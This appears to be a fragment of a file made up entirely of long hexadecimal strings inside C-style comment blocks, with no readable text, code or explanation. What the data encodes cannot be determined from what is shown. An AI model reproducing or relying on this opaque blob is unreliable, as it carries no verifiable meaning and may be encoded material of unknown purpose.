2fb5d0b368c40b3ef0c96e57d7fb70e6e65c8ac8fc1a873eb5536393bda16bf2e8726f3ab5a06ee6cda29eb16378a4371016c8a265621e3b89ed84446f1ce0a85f3955e6fcc9db3880fa66d7b6cfc8810ab220969cd16088e6ffcb02bca3febaf888535d3e68637fd44eea81ff958d12aa6aa755f920dcb13791ef042a06338730d495614cce59e1b737fb9fdefa1df66427d86e8e8dd19e32527685154074cf0f33d84a10ffd55119080a6e738d2878259ede5d7cd275d2a3b7b4be055d163c2b56d997c868f7d0a8816afc5b712e6e2175aa6ac9e750b4b8eabe3b2569809be24001c39b9e5254f33dee91452aaf1cb79f717556c4a1afe3ddb7dcc4ca469d2e7adaac18b4c7183078bd40b10c60736c763396a276f71fb035ac64244982ab85d24f24dbcf993e288f70568bef3faf4286510424f169305ed52d07307cd8e50315b073388244f1ddf4c8bc007ed8ef7d32b8ef381515a728830e0e9fdbd0bb6077562f1183a29c068ba3827a95f9da0a0a93d8dac5f94c3fa55eb5c63f43c13da4591c9cfb0822fd802e9a2687d14f8b52ca824b8184e8afd913713653f24a1846118803011102befb0c81c0b7b0a9cd826cffbdc0606ab7c996e176494fd9b8d4f5c09d1115b37069f632ba4bc77b6dfca6bdbf88ad27f437abda7d9feed304918140335cb6401d5e665dbea7fbe6ae5d1f25bcbad1c258a2276ed5b0a7945d82622aa0e8c0ff563c625ec2c147a0b43711f15c02138b6af4a47a2fb6455b6d23bfcbd73a50285111e4726133e65c06ef2ff6a9416a932fddf849c9d935a9141bb7b1b98955dafb540180209dddaae8d1b139c89071627de20eaa74dce3b134df1fc733e46b84686678b2cc8033c70365527734d4b4ecfc5cdcffc0069e3ba69eca287f3b509d374db210ddb1f0c01ae5532c339f3e81dd108195dbd690d0323138d4b8c0f80fd4bd0dcc2525afee24947d18c0cde9a5a629735498d0a3ed9d99b373a458ea250a4e4ad33a3333f8d4f30e641a7366c5fdb104a6a5873ab21af1a5f4d859662ddafcbb91501f66888741d4567c2bce18982d46e4cfca0d1ceff0a63a27b85a6c06b0390d493912867ef76118e002837f6eed8eb05c5009b7380b2d25c784803f8902cf5e1985a05fca6f529152530f627dc59baa5fc9d1bfc2674febef40e5d58c928ec90e6e5b49d50c306fd9ee9f3e5c5f5e15c8044d82a9c8320737e89387b8e93cad63b9187821cb4fd1a7eb577f51da868d6d4d5131065387ef31bb7d7261f3cd77d47a9a19e5ecb1196a6f4d9d895a7f97e75b5daf0c45628878e15e775c25c7c12f6e647dd45d8c21022dd7c5beb4561139ca11b90cc619c60dd66734f1bd51c0dccae3017f246ec752f4d397a80c43cf987a62f1c77d06bfcc5c82bdc4ecd801b74ec372217f68a83898584c3a6fc897a6c21646804d78d5cd998931e0efaecd5d9716a3e07bb9a8c53cf8feb6ce7a1c3131478192ca5f6f70b690c37cbc5eee697add086c6c73a3f042566ccef8387589d247895d9eadec85eb8d63c30368271369aa76abcd5bf35c10af586548d3a97421ffce7fd2d1dcca0ace37c2dee65e1c80022c40d08bb956ecbebc424f076dcb7135a2131c82b4048a038fbae1ad435a1f98d3248d4eeb4066d5d79850b552b406ec8619005c8422499dd55d91b2605c2151833a1635a8d9bd1cf15f6f4829acae43b329b5492583e7bbef21d4e17158543221643ced5809880241799966040b8645280d2a0134a15d81656d7ba942601194d5c334a6e681d1683d8a7338a4aad55b2ca6a3dcf85c4f669b371bb02663f683ff6b88c05d9f80f920421ebead1d97c25e442feffd448993889d62bd2cd9e69726af4b5dd099b8abac787cbcd3c47f0a3ff53373fe0002f1df463a39192042146ffc786c3f79272bbbc03592fc06db0fb357b62995acb89dcec0138074227cae06dcdd0f1e812d808483b10*/
/*d3fe5a1f5be8b9a9264f398e3335e22f9ef9498eee367e7d38d9218cd22f9ea9f23507a19b21bf660e57a3f38ccc21429847001d4ae6e1b65a7b3b04273ed022dcb24a17b93cfd2a85b6a809164961699668bf1872d4a956ba0fb3b29baa1b3997459bdcec9500b181ce68be2e0334ca6f05056986bdea6ac9595ece040817829d709128428dbb74423ec7e4b8d5ddd3da359ea70f4049ae6ff6909c5e1d361e6f8a018a5bc6744e0bae9f1418a9a172e81a360825defa1f9989756851f2bcb93c48e09cbc2437a1e0a44b0eef6ed340bcd10b9d4f14b0fe685ecc91b789fed8f9940025efe5cf594a908c9814e919cd806abbd0e6c3762093bddc21a96fc8ca06f12a82a94138c362927126ce9374ac811d6840668244a7cd61e02a6e8ff35820670902480b563c617f7a37d01fe2561648fcd11874c1dccf3b1209ca67aced8e23bfff0f33e89e446573732a36b7c990fbb069d4414aed73b90434d8ab289b596a9fbbc5a463d8ff9fcabaa12918d4522868e3be0e698f0dcdb84c2f8783db0b2235387fe3177f7d7070cce47766585f61c272bde01ee422c515d16e704260d7ef389ed9c4368098447485f4fd9e2b9ed6e44cacdc304569fc76c65c84d44d2a163479f0a895320dea7c1dea41324440abfb9c06576466fb393c25a6d06555c775cd3c565c2581feaa0f97279bb28f2b1ef8a8f6bad8c8cb73f86b840a9a6b697ad4bdf43616caae40159ecfdaa2fb4e8c5c28a97ec5f308a74cc301325433ff49a64c9972249f9d22e5ddef944baf4620655a4d88355b6254e05e7b81036451f425ba00bf9de2074dbe691d38246e4de029f35ea161a5c1f5be5d30d769d4f8940b094a49f25e5f5318bf2c3b85a26dbf3cd36d5dc42b32ca667908781c77183b6bce2adf87d99adb6072de0f4872826a3beeb5c212957df13533e455c0b80e513389b663b7b93bae0d20f869ff9f493192b95dd5bec226d3a1603eda59619bd62b3bcddf2463f52e31e3d683ffa2b7ab6988df2ca5e71e4642dfc38c06d9a41b874f3b92a991da744936bb841f14a96f9aadb99e8e25ee1deb3310bf7e0cd353acb334bf66c00f22c70b8d3b38a85cb88478304cafd054b2a81771ad9a6e224f43a36724e9814006f35a6324d6dc6ce4989a2e5c240101c2a839cd8ba9cc3175c96a7f254da4a8fd0ba9571ad89c745cf5d05c38e0ab2a737fc023dcc4c332c855a8837ced94f234a1a2c33e7bae5266900aa2cc681921bb01caf165a0f932cfbac69c432d90a347c7a918e48dd91c09e8b2c3712c702ee7a28701f31d9fef3f9f32c25e314384a8100d9afaedf11ac069ff75b16688502c331b8261e01afb76b092b81e68311f411ef8a424142dd31b313afce19df4dcb1725eee614c19aa2ec7d15185b6cfae5015ebf69fe4ceaf7214f989dd13dcbb86ad8030caa622ae51ffa2dfd7a1e607574d5aa06d117a2ad7137db1dea5cc65d53fe2d1a72b36fafc701209d14d38622bfbcc2c5cf486ddbc6fd94f7ba3a53e7b355aa255efe5fd2d6f523c0ae7d7dc35ec280e1be4ee7adbed0e91d2bb03766b233598a6ee0f337d0494280d40d04e46df1602698b4c6ef239620f3c2146290f96b876c7d369746abc7e3c16295d8247de18b2c14772da9746b057af14b3c0dfe02216fdc94761a8b7a04bc0917b94fdae8dd44040494c491b0838594c85637b391c95867e7a2f296725c91900c5f4f37e30a5e2cb66513394a15c318cfb5f59e19bb22c9a70ac093946aa52562189ecd2f4d3b111583c30e113323ea46f6a1a2774f171b7fb79ea7b9519be2982cc4e82741414fb54c60af3c7a9207a2ba0fba7d8cc313cef36b1c1fab8185e25404e9350dfa556e457ddcba3216b944623f5a13069c75600d620e6597b3d83248f7a5bdd5270a05dc2d24f99975c1908717399d54b8349914c869fc9c9cb90455516d8521ada6c21c29e26366c956a5083c4cec3a9f26430a0c6549fee44f5247bc7c1d811ba25566824203797a4565b5b33f5d2869660bfa79869e9ceef3e035c9ea9100233efef15fa1d53f20066837e14976611b5626e781eab7b883cbea37be22601e7e7935fda7d812d8e3f2fd91fe5de85bb9cfc4cf9df324e8f0852426e02b381672e2e5be7d7a1df1f97c265e73cb8ebd6311730081d4d45128670243b784a5dd479cf1ae9a0a5e128b82a0cd5acc9761b628b7b030790af175a7512fc6ced0279026adb78ab2fe13313d7337b6a1f57c0885446e5013883c2676c33a5daa9296794b6ce9417632d412e60e0270bcca0d5604df3af74bbdd9e10d80671fc23ca8bc256c9bb3e8ad83be7dfcade377fca90f7dc9ec968ccd337b139206fc68ffa50e90df43b1b174928b5aeb700c0de9bbc37c4dc46ed0bd8ab3600289b9307f835feeb33ba733318e299241edaf97d2bf1b3410807c1157f006378339dc3cd0a5f02f21f49e7527e1bbc135708f7c1bdf18e73c960c3a8824465bf40f731ace2338552955b11099a2441b88c69314337ef58597782064503be74f34c9e0a4628b808c9745f29342237e3e38e4279abaa00f0e371d6c8b6aa22cc86fa380e697305b9d712bb03172a09410672c5c236c12afe8620d030eba1616f08d4b064ddfb27939e907042ae86af3fb70074af0fbfd4d1b71c0036259a65ac361b5fd1cdcb2064984bc302239b44fee1d56ba8e401990f4febd96cfcec515faa1c005748cddb4ef8b72aeac50638a27c8ee15e0d56a60f8a87924eb7c4b4dfc6cf1ba869e47b960955777f0a722ced596df860c63cd747d51bdb0f580c844a087eac2da6296beb24da*/
/*3760dc72495cc8477c7e500ae88c0ff36e7d2493cf3d47e1098ebb3e5c4e4087e8f2c3f3bb5bc4ef94f3eb5b15b62ac35614dd6bd21e95e7738f917360f791e62cc26678fa1638519d48b05ff595e3191279b460c2f6ee7af58cba9be550dec1b4b342b0771d9efd52eff499600adbc2bd12bdf9ea1c1a1b31bd91a0e6a84922922781be6419149660d2636956b4ceea0fffe02dd70b5274ccce5b9323b2e70cc3e2d7fdf6d827d9409697217355908bd9af325742284925dd47b63b0bf65ffbbd9cf4f91d470f58616d52f8fe27308aca34c575b6643b44903b890b6e72622b1c43c14f0543ecfde1250720b6848dc1f2d109fe87a6d60d427e4fd3cea697efdd2deca6c32d70ba665f27b5511b284b5361ea8e7f42e5ef95db82b514dbfe450d3692cc08682740eb7610ce6e68c831dc33e6ec0877dd955aa97e6dd54029584c4ad1d1608728e30eb51c80ec85979fff14ddf7f1db86ae6112e8b838d3221fb0b3d0acdc7836553e6e2c1b0f327597161cdd648208af04ba421e93434e163b47d670231423d0bfba9bef0f122a0231f3629d5d1abdbd5cd08e1df3b08be72c00a3e2b54347aecbb558eec923fced765b856fef07ed2712c22e7e744c7f096909a160eae153a62a9b3c398487116e094aef8c2ff9f9f67ec7f9fc7cdb36ed73a59dc9b6cf6f5d7eaa24c6af328550bd2fdc3687b4b7062542a096f0ff9f0a567ea3614eb135f67b45c8641febea0b6a988784fc0d17523f7ca2fb17e67ad2d028b43bea2ff87efcf2a5b847388b0e45ce3767fe0ab18c9c52ca642c435cc6e6141fa6cd596a2226c1de615a711f849a448504b74951313082d28d5cd7d508f0607929b8a01d0437da0b9f4b3324cdb1476c32f3a9563c7c3ffaf907ddd1e88e3e36fd94c2d70fb2dd66693f55605e400822fafc69287dd21c9a4f16462c9cf2331c532d85106ecaeb550abae015056bfbccc4b280e0c60b8cd22d5e047fe309ffee78b5c8c17ef0bec9a4eea663478b3b953947f958492781c49e1066c993f46ac61fa9cdf1606664607bda9b7f1217b2cef3c2b9e8504a2377aa38f1f25ed5243b83ad6a54312e254c71b0c1eafd6a91c299fe8a5a78a9d8e6623a4192175ea6e09b9135705817d8afd7cf66ca81269e0452668cb291ebaaf282cea6456f99f6f173ee10bf68403261bad16078d106139c49549f42d5ed6f03005c2c6ed5794032addae46f367f20ab89adf98393df607fa02b2360338f49b8547fb986e7087c99ac27a018e161ce2a0cd0c66be214d44ef0a498209986116a01ad3f056d71b8ec69ccd6b878b64d590ed1458ecffcf9201b411099a3bfc662e5a9f3f8290ddf13c830fcac8f0cf545097f57ae3eb1a7a439b8fa855b6d38b6adf1d450e76a8270231e9d6ae77e73559c9ebd7164adea3060228c144c65483d5ee633362acde36f544c750f8f815ecaf5a5cf28ae5c03a38a0cf6378d77beb78ab44d749328c71ae67f3139ef9ce95bee8d3f27e02228be69ec90db41761dca787e5f6d33abc3c4b214e9f057014061a71fee9ad0d9597b53ea96650298212f937c0cafe75e58b3f71ba4dfb08d6d8686a4c7300529944db4eb0a4dee84ad0fe7f8ee5d21a2a5dc6651791fb70ce4143e88d8cee708177719973b758755e693f78858d5714ae72a93c8561772d942bee6d4c9abec9aa77ca24b706e2b5dd0c18c648220b975625306c8eb1a5efe44143d2656c677035f0bafbeb0da1d9c3d548ffc044af169aed8f62bf91efabe619e1a26ef7c285219c2677b3090b7fafe2327fde20e2300bae114de7b42ffffa263529f118925ed9a0bd53c13060f5935d507eaeebb88c1052fafb24e7a4326358ed8156da3870963fd655e8ec4f078641a7f612b8f41225f71e001570c00cdf34c1612e3ffe36ccc402ce67e8e3f8d03ebd382f6d09cdacdf59e63d6bcace90f1617426bd9b4275400f727593b60b07f65d28acce82ddec0d04249a287880e3975ff3b489f21006ee23e8824099ffa6400b337cf8d8eacfc52f475d467f51bf02d7b555bdfdef01889b9b2a3f2b9ca129bbacfaf463186c702f748f306ed4f26f6f8ea9f6819eb3b30f088462e1c8793f1784462de82028573c367475018a429589fa81af05e70d3b7bd1fc457ff78cea52c1554a41dada372e1375ecf1ed96e0f6d331b817a0c1b975f519125f1d8e026162d574322d99989046d74321ebb6c0b802c5912c491f0f4e2ce9ad3191c2cffebbe762d35d488fd853b45700661de2c7c239196cad41ef5569da972231c3068cb4f3dc0ecd77e67a113810ea9220de5161718ef92d8a35bf7390f41a79c619a99917b3783f4e154f04953068f2831bf2406220e3d60729f16e9a85a3bc8b4a25944fdedb16dc58c4ed2e5091c5023c2bd544e1fb0f4fd34cf2b1a1dff09a97e4ec7b773422b40cf8221bd2a1c464d2ebd59b9f37b8e9a753730bc2f188bf57279af03f1fbd582a37d47b9feb805efcdb0a9b1f5f9ecf35e35eeb0fba2d6c6f5883a2a982758a277ea28c8e0b8d111993ef4f18d490052afaa457f450ca3cb905a14639a9300ea7932c022900f19b647c614f8f538e1e761b2e1603caefcaef05d9633d6997c2c136ece396e9ec6ea11a12c28700226c7e689e9cb9b6e69c084f887d863a479c6b31d9c0dbdbbab46881bf432acf8ade4993d7c538ba59ab7311641390590ca9f20e09f1c775c62893d04141918d1a89f8897944dafb46ce29c05a5f7a278cb33a27a7aeff810dbda3e0787afd4c64ae840d92fd0cb402e58239996f36255d0f078eee40cff480b963dc78ee8ba80ed*/
/*b2e09c6771ad9e0de8688a7f1f07dc268e090e070ba1c8ca2329d8a016fb5c52bda2f83897defde1085b63658f5f4b800f362af03ac20fd3b9cc642f316e66bda1740abea42d93d9b132c38c77a6ea2e1ba79a4b084e6786f52d3bb1d49b3109c43a08ecb17b723d6cd4ba00517a080c1a82cf5b9f09f78782f4838445852a200bbd9373bcd79258e29cdf9119083fd272a6ecc7140fa8a66e5de4e750ea049d019c0c776256149b17e7da57251d1ea7b6d15bd25aac56404b1ea96e76fd6e62a928c93a62f528019b69be03b8f546e67f908150e5288060001ca11d5a8c191c24259061b3cb01c50573ba5f8626999d124394a072c9055ce34947572c4135b763c48eb41c3fdbe2af2b8e2a739830bb65e7089a5eff247623d0ae5fad1b9bdd442a282b0b438454121b5fe43b0e16d69179b05bd0be863d08a635138a5fe789156288fb22347e066132cd3e24e2d8656a68ba475b2cc4bc9d651618afe7dfeee8b8448844426b5452c455eba07d8a65ed27e590059cb20a0e5f13160b36241baa01ad7acd2573f5db489c9e3c061ec746f679209326728a00f7187aef8bc658df534abb3cd0ba275660587bb75f8e3ddd43aa6de85efab15f9e4bb94f6c0517a5157b265ff2d33ce7dcb2d5e0b508fba45e6eb8007963b5b1ce28fe83640d3d6de5e9625485a553711987487c3b677950a8cc1edf2d6ea4ec3811c9b9bba2a1062a346b5d6009da2ffad2d178ada730108a90247417f6f831d37aa53614ce8a8ab39dbf486d98f96d538ab0c2cb9c5472700cfdd18c3c445a36eeccb67a81c292516259f99427398e29243509f9c20c2cdca0d8e127363ff6d8c6f1abb5e2ea48cd04c42e48ceea9bc91e31046225344d9692838b663af259ee5be776eb64558aa68801359b1b9cf062a522505166ba49755609b4df12292fd62b8da74a1cb61f9b36530ce949fd0c24f3fcd1fe89b438b59b1f4907785f17b6a022005517a89ef4aa4aa9b7efd87fff8c6701ca66d8ed6c5ecb091775c2518c17864b5cd496ce24e4f3b464b443e2c553da868d66121b032d14ff87a0afa6c0a6792e5bd2e90b218b766950923c95d077502d5954ab9b4b97038a1b0caf6be760d95ce28a6fcb02bb991a5d6e95f0eb84cb6c27c6a5855b173eebfca4aea35d01bd84901fa59d60df24743f5825ce2cc8fa31ad8cd54a21e4eaa06d13313489cc05adbed5dc13165bf0e069cbc356f487fa727775f658abd0544230c709eb31d6af1d4beda6b3c28871dc88f9bbdbb9ad68c0d9a918ace3f5ebdd6ea71ce64458dcb7346fba852839acdf2f9d82d53ff376c86b9fed82a930915499d8361ff8e7b51af8e8b8a237092765546ffdf0e0215bbddfb3093951a53f11277b93a3797992b6ad767a906b3cb64fbe687e4984bcd573201d0efcf9ef72c83721a0631f1baa6e8b0d25ec65987a647551b1c3dcff8fff02c39b7b784b7309e17fb8331d52b05e961e89dfbdaca3796dac4b182f622f6c2453555a2249feeda1bf0598097622d4f95c617ead1abf6c6b5905b7b6fab016795de3d8ca26f154349265928721801f096e7ec7fc8618354f4a937442e4f0e95edb292f66359ee44821950141cd3d5ef33fd19b214e6670a14734bee60f80f6583b3be10e6d0ea7207741a0202efa32e38fe74365ecc232e5df5d7d10b604c4d8cbc2f35fe23f8159c15fdfdfc389a4ae85998f5fd5ec7a769cc44e3804fe065c1a5514996c92401d9694110e0c27b96c940bceca9357cfe051dc5cd5009b371392da459339b97a67f499ce052aa4912c1c03089b4882a28d80347ca2042f38d38be7caa489c801265d43c167ba03319b4bc9adfac9bd980aab50047dfb15d42adb90145aaf34e44e36f55eff97ad2d685ee0bbf0f1d4a3b11850dd64a36a482fb1aa8c102c84c90363bce839d9abdb6ac7fc0a3d2bc2c729176bec202e6c707e5cb7da61b567a5cb5669295543ed0a08829690d7d2946ad025ad95f2180efff4fa0041c035490c929a05cbc870cb98b2a34f1be956e1d5aad50f1f12cca23954f0a3a7321121241808f01f3a5440b399fc6f35a51ead9501a62a17b606429ceef67addfe92d29f8a82a0aa98ad3f3f23993c6b770bf02ff1f2e2ff8f0abe04feead4170d272e99f0f2abdd25d0012b6fdf98cc666b2f40532baa9096bab2dd3d335b149e7a2c5fabaed1f2b039de08ff623db35c224221051f957ecd0017981a6d8b1fdbb208d9ced06e9142152c7c866290ed01fea4a6f261b04254248b91d0b12f55a87816d55e6151d125bd3b9c938802454480a2d4fd53d8777ac0953a2991d79f88b00ad5b47b9176a65887437ac241f1a8301b46bddd54ea739628649df57ce0710902eb5494ea8cb53615cff79ec168a447559cb99ce6d47966a5ad0124c510abbb02836144617068d877a30a496f83bf2e4c2bbbfec1354f7f9aca4e1133975b784d5f9a039d03a420a119d338e6d450a630ba1edf3bfa818a794ac5e7b02eb39a2b981d6c5823bcad238e4bc206c15dea945501b00992e9436733cf016e4c2209eb3e559e221ae91dcddd012540a155f1f09256299d31dd61a6f4a12e01edd3802433c123f8501a2c01b596f6449795d18f074336b165a4f34e483f45b6d5e5183e6a93630c2b8e853b5351d3b5b1b36019d1c12dd6e257f49f961d98168027c3b755871fe99fe545e9fb42fa92688296b52d3227a68b46d59ee30d777625373f98f8a8de7f7328ae7f745982178b7f1724beb811113368ae600b8e107fcbb9f953303a156eed3eca7056b0d80a79547e5cf4860bf6869f44ca6696218b*/
/*98701e95c8a4838a7ecc109b67f4a3d5e710fed9b82fad8b0a68588bea88d247031fe2c65238319a3c48e14645a0dae85016762ccee62842b51006e32e3034156fd33b6d0a5bb8583726a0796ea0efaab90cf5ae82d176dafb83593dd51bab43649b74fe8709a147e945165ffcb52b07a399e1bdd35dea2f164acf18c2e6838970159c9c25025f0341457f4aca8d0ff80d58f80e59573bc8ae4c9fc26169ec89107c2fe387c34fa147f831cd7d94565593edabede00dc904a49c400b40e6ffbaab8b1b17b63661716ac13d0dfe7b5949dd0de911cdc9407b9ed09102df2a6c139d19031ac7424ae0ee3d713663919a55c8f3f28b7239c83d08759ffda93e05a7f90b2023e728fa33732b5920eea38a3886d0f777ff643b505b891621b1bb0164d4ca5e2c92a3c258837cbfaf82b9a6a119da8b30ad1e0aa2b8dec14df08e61630b757ffeddfa25fbb5d9a5afdb1fb6cee599b2c5ff5651acea083a2a7080e66681e2a4952bca94dadd0b9c453b04d5fd7b5c205438b0f7f0acc433f3b7e7a162f3a5ccf20966c3a4c8fcd155d45838d56e9d133b993290d176789f2c33426d44f9332a4fe8af959f7c6a4f224779b9127cbb90fdcc19e64a3461e9c3f217166767f149d8753de835bf756e0069d2164b371e6b7d77b8f915cdc55f51f4588491f1d07094c0f0b608782bc19e86f2e99c8a45d2ea52d7cdf4ec0e46f512a0e34d10b971350fc1a85ae48d682a196ddae331562129fd968c8be78fd64fe55a1fce47b7c7f66103167dfee8368278103c692452553d6acf60cc45f001f466a35d70c2690255ad48c345b066690d64ad710b17231dcf50e10614af84a9be6c1592674738556004cfd5637934d9aab8ea65fab98bd45d771ee1bf4b52195c731eae633c91e1bca27f088ac184197852e70e280f5f6bdfe69dedc76964e4631338d4c7ec651f4ade0cff8072c48a5af4577789d4b8a3c1238db6edd9952aefaf0645f2291197cc229b7a9370bfd7347bafc8d0027fc8d44b251685e23bbd4508ec220629e0b189f31f1d5e029b3d471cb13b8e25ab9b81819c823c5d3a354f16092867d5224a2b1c2b586659868d40bbc4f57e11f791bdbbb7373b4873b663431c78cc0e23d87c4638789d34d1da1b3bde6f789f06ca0041dcdda044bf0d9116c171181ccdfaa5aa6c20e83e710af54fe3d6e78e3d7d79871ecaf09f6d511e418a02b7a3662c7d6812308379b83f8a71aef7e215d6f96725e8d82fd23dfc4dc2e3baa441390053de963309d1732ad9434271b8977289573d1f4cb4b3c08f1a086218aaa61ed1dcbc31f0d891870d6d0bc5e2b37fce8533c9bdaddf1b9a8b190c3d81ccfdd144a36046115ac5e8509b1cddfd89bb2b42920fa6388d8fc2700156ca09ac6e9497e97dce62a030941304f9efb9455c264c291ec24d58df7ee1191a1aa24aaf04667d8b14d5c706e8d994bbeefe4f4970635310cc5482ccf46178738072f54a0a3652175f120ed055a1a48345ba255e3cb2b04508b2c348ffa08acd50e15d958cd49bc1381753ea6534ade0ade72a982e51108d397111437f455696f16f59a2622c5ce79d150908600caa5885501ea6054c0cd6b006b2ccb5f5cc655359d913b5cb75ea3d738f5813dbf3d4942d7f526a253b778b8a25faa6f2543461de16112b273cfef58dee54b35df353ba292c9886f26921ce0e60826d8492b3b618142ae4b1e7a1afc3ef923c286bedf45942c7a202371e1e010e4226c9c76e0a70490eb7a3134ef713bc4f96e20fdb22c69dbc513c548c39eb28b82c33d6c4fb39de4c07d8da5dbf5d2d5beb5ce7b1a207dc975caa597b7b95dadb98c2b26f897181d6afd19ef23f360107953aef86adc7cb9eff90535399bf281a8e3d7264c280d5c9eec2b3bf364520b2b74d36d8d5de3f02c86cd23f98c7c7c9148716dca7926af93060c99adc86ebea61c208c8e42466a0d9b4083b5d32eb0c60b40306b3a8f66908651b18913e822a1d5c8f1184b79cc2058ebc725c3afd02b82692f3be60500aed9627fc4f05183e1674f2fff596c323bfd12617b189ec3d4fd2d66547329941ebdd0180d0a406a46a8e67cf4812e0ec2e88f7e7025cb9cd939071a93f0792e5206cc2e4f2d310a54c67efe8102912d2bad8481dda1873a6da731a1d37a88fd6c5f78a7d1545cf5b8fcbafa45b1209213ecf3afbc5adf2cab68f2760db1b673fea4ba4a3682536fd53c47a0e21edf6bb11b0d9898ec0d7402f1b4abecef9521670b7d291d493908ed8d315aab99304c1052f1864e7c7cb3086d3575e992e7ae99cb344b141b96a3faf1e6830edd69ca264c90e828cc9728d6e8f943d31269689059e6d38e71fdd04cd99162f2ffabc4c8d1773f7c80fffdf6a2472468389fb64ada96846a1193c8321d79561a163a5ee5e1c9a45c4d8ef0bafde401c1db6046a7dadfc51692b4828ebddd5e4fd19c34829ac7d62eb5c7afe715768741d381aec31c80e151d9494a2e89a141d2f65e2c08133329100ee044bf5c6605d8d5d8872e3897b0a36cd5db563487fa4cc9db54137e1edb959b32cf76747adfb6f9d33572d2e4756783be29ecf0b5243348472b7e8cbc47641af357fa30d7b904f28e36b507eea9bbef62762ac091e62679d0039ce0e6a9e4b85e71bf3a16650bca3983c6953c498750f54892d330b9abe06088a8adaac5b9197b48fb618bda077e20af114217b028f84f3059c44c6b9c65a85394ec1d5b88d984603ebbd66ee8984bbc8a58a93a8411d80dd0338147c100fff4350ca5527cf1fd1d7dffad490d1cf9d89eaf77644b02e95d8ee72dafcc8a53c*/
/*1e38326ff372845e82107534d8156006e99b2e8fd9c6a14f0600cbfa6a1f9e636f71520e77218fde361d383b2303618ed73bdddc35c04d816048c446938ddd54a62499f6ef89674d05c5db671a54e9b1fbfa30deaa85ddfa341e9fe626093b1e73f77e700c4504baa4604fbce9901590a482901b50316e0b010f73a2a125e673b449278d90c106bf130beb0e8398297fa993eb28062ef7b4604955867f5e30968815e3586e88d42e125f20917927f7ca3883a178503c59cf6bc1ef7381efc83781a15fa01b6c0e541e5fe6219c37de1b31d541a9405f7742018892a58a30f3c7e3faf20402d61cc66d65016b3d1731dcea3283ac9c7833196fa2351b153da851bfda2c24b53965c8eaa70b67fabab536fe271b91c0a55c309dde7628c5e4f66239ef9e85d12e8a532f3c679c25762b1756580f04eafe2063617a614339b538771af49ad805b07a90259a23a33498a90fe4bf06fbb13e8bef1d67e26c282640a52afd321d0c03e93c03650982415f1cf705bf683320f9707f6b4fba56c1d3fa31ea60b224a217ec2d8d2522f36b36d712b8c9e900397aff2ecea8aacadffb7b72462e0a774f87d211a787656a7e05d6a18a55896929b98ebd7d9f8228d21ef08a78c6b436b771c5982bc1942d7d94693b065d84d824904d96d59532c40f49f916feef56da2007cddb0fa1eeba9ddd59a595ea60de7fe4bc0ea15c6723e7184ec18b91cf1b267ff15e8c850d194b87a2be73f2e71364104a15c550535b42db4fb05d190acdb971a0a395fbac036641e64d40a6d3b79a6883b7fc41a24e1e7d1a4e42911cd11b8708961e0fcfb0f9f0db7b3980c22795304a509a3d756ea1116161156e308f65d51e6fe113db68a8febbea6e449228def4048331d4ec7901dad422ab0653adec43fe347682576dffebb6a04646046118dd9adf0b70bb18c2a95233715e1174ffa09019144963c24a77bf7de213db76239a5f437dbe37bf5e97c5b4405a4bcf7009d9dc390c50a2ebb7015f8244e9440372882dd7343911357636855441e926eaa5b05298751b0fd1ea445903b15c613bc5ff38f88e109b5bfa850b53ec74ae103e47eb9d713b9c0736665e2d96834b8b44279651a4ee979802d8a6f22df8df95659c6afad17307099334953b1b271e342d93f8f47e112b93f8d010a46625bd1993fcb884e8a8baafd9edb092a5c0ce7bd25ec807e1c9afaaed54eaef9a2ad0ac6ec149c16302e61f95cbe54d0f2d69ae44877bfd4daac120c3cabaeeade70c5ce93d0d177aea899dfdc093e2071457f9bf2fb2e30d4278180bd043228a130285e4b456c7d7a373bb0f2950213584bf017ac21d20283579e34cbfbbc02a89bff421bcee4162295ee2d91e1dbd62155fdc08db9ecbd979b9b8fa008cbabe4132da60d599c4280e69363243c0cd3dbdd9761e34d410cf66442d66d055869edc7ab0f06a6d12903afea74bdb7ee0010381606bc785953df644c27b763e736be9213163bdaed451fdee31d441376a065d5ac98570bc7c1d23a977cf88004350cc924b90b5e3ec2c35b35c14a972a540462d6c76bb6069f05554d00bb389422da2ff8bbe739a9a5c48d2d09863b2d9adf6aa8e3ef8802ec28f33af51c351f795caeef295dda8407aead139f49414a75c3b0c0d917bad528ee318284be7d1fee382509d73e799b996b71f4a898037b6cea855055146600ff45443f6b09871a9955d79dd97ad6125b504934366d088d352173a70a010e2e2ecc9ae9f3bca0cee3ddc36147e85cf47ea4deca56dc1a28e006ebbc2199e8d7e64a93699a1d33101c86fff85e9f6ab03e6417be322f399d4e38190b110a6631e44a69b191566227ad379b4d9703893e024bf65c13c9add76d23db74841e51692c16ebe5d19e2fe8554e1e1ead77d90115d34ff378ddd23430aba3208dfb964076699cf959f14062c627b2b061eed2f10f68a6e76edb799a4b34ce2933e75dce3c36ab11d804e1b3e5e6263d7c923a51036b1d841d2fc658b90f5db39d8bc2aaea484d732db239184d3ec2f86076a83543db923f3647ae8b9e11c859a5b97e19efbe916b9b87ce4695bd60c55058ae1344ca0aade188d05c4f8434ffd4cdc6fd0b9897b4cb4d9d84d98aad64469c661f73f45fd5e41d6007dbca5ba59a46d580da10775681047a81d8b115cab89c04dff152e0accdec9b8a87f9b830a150115162f6a718dd8f1ecdc4adc0144ff8eac4c31fb068fffc15934a09423a0b276f64a767189ed523d102a1c4abbddac72ba1ad3fc691de82399f7de49f7d658c470bb18355f021e68ee0b2d1e8a563cb1a2a3265d60e74ac7c143e95cdfcc63059f4aa3a95ff54239f2d347726932bea718c2dd97e362c6224d4e776c76f09a5ae402ed4075a4a062eb2b8bf06b99a7fd7b0e378d9209414a51990551f642a33388cce70e11d130e0c3d872cddf522319881ef71da3fbcf6a894ae1adabb1a9cb7463688811608c59f50b84359f27cba5d95b73f0dbe2e6b7598cf4ecd55a035a9bc59e63c5314b6e4b9a13fa162e19bf8198875809eb30e2ff3e24b9d2308e66f77a997e099460eff732d889e8320278182e54e5941d350c03c2be61dbf9a0fe092223db66304f109918a8679105cef4e39f5b6069bab0ea73292da5b732f7171b6ef1af33ef2a7d1f66713883ae9599acfad99bd8584d4406b2650d7405253f59a435e591f4bd4d2d0a1a469403a08f680684af96855a15f40e2a271542385a67a2ef1a75a266d3e7360047ed9f133fd9556f2bd87e39147b5e5978a691e5497080f6abe84f7e273d3be7041036432807c212177e0bf30024*/
